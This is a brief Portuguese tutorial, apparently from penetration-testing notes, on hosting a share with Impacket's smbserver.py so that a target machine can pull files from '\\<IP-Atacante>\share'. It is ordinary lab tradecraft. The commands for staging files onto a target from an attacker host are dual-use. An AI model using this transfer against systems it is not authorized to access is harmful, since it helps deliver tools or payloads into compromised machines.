Transferencia de arquivos via SMB
SMB (Server Message Block) é um protocolo de compartilhamento de recursos em rede usado principalmente por sistemas Windows para expor diretórios, arquivos e impressoras. Também existe suporte em Linux/macOS via implementações como Samba e ferramentas como o Impacket. O protocolo opera tipicamente sobre TCP/445 (SMB direto) e, em ambientes mais antigos, sobre NetBIOS (porta 139).
Como o SMB transfere arquivos (visão geral)
- Estabelece-se uma conexão TCP entre cliente e servidor.
- O cliente autentica ou usa acesso anônimo (se permitido).
- O cliente "conecta" a um share (recurso) remoto; isso mapeia o nome do compartilhamento a um diretório no servidor.
- O cliente abre um arquivo (handle), então faz operações READ/WRITE para transferir dados.
- Ao terminar, o cliente fecha o handle e desmonta o share.
Exemplo prático.
Crie uma pasta local chamada smb que conterá os arquivos que você quer disponibilizar ao alvo. Coloque dentro dela file-to-transfer (ou qualquer outro arquivo que deseje compartilhar).
└─ $ mkdir smb
Nota rápida: o smbserver.py usado no exemplo é parte do Impacket, uma coleção de scripts Python muito utilizada para tarefas de rede e exploração/engenharia reversa em ambientes Windows.
smbserver.py (Impacket) cria um servidor SMB simples que anunciará um compartilhamento para a rede.
└─ $ sudo smbserver.py share smb
O servidor ficará aguardando conexões, o alvo poderá acessar o share usando o endereço IP do servidor e o nome do compartilhamento.
Então faça a transferência do arquivo desejado.
└─ $ \\<IP-Atacante>\share\file-to-transfer